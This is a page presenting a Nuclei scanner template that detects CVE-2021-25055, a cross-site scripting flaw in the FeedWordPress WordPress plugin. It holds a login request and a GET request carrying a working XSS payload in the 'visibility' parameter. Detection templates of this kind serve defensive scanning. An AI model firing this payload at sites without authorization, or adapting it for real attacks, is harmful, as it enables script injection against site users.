WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting

ID: CVE-2021-25055

Severity: medium

Author: DhiyaneshDK

Tags: cve2021,cve,wordpress,xss,wp-plugin,authenticated,wpscan,feedwordpress_project

Description

The plugin is affected by a cross-site scripting vulnerability within the “visibility” parameter.

YAML Source

id: CVE-2021-25055

info:
  name: WordPress FeedWordPress < 2022.0123 - Authenticated Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    The plugin is affected by a cross-site scripting vulnerability within the "visibility" parameter.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data theft, and potential compromise of the affected WordPress website.
  remediation: |
    Update to the latest version of the FeedWordPress plugin (version 2022.0123 or higher) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7ed050a4-27eb-4ecb-9182-1d8fa1e71571
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25055
    - https://plugins.trac.wordpress.org/changeset/2662665
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-25055
    cwe-id: CWE-79
    epss-score: 0.001
    epss-percentile: 0.41295
    cpe: cpe:2.3:a:feedwordpress_project:feedwordpress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: feedwordpress_project
    product: feedwordpress
    framework: wordpress
  tags: cve2021,cve,wordpress,xss,wp-plugin,authenticated,wpscan,feedwordpress_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=%22%3E%3Cimg+src%3D1+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<img src=1 onerror=alert(document.domain)>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100d3c14adb581ff75caf0683cf5b99f1207e4deb081b0b38c4e99d6a217794affd022001686da32ef6ce18d1efe577ced34f0ced017c361218cc780fcbaaa6a1055669:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-25055.yaml"

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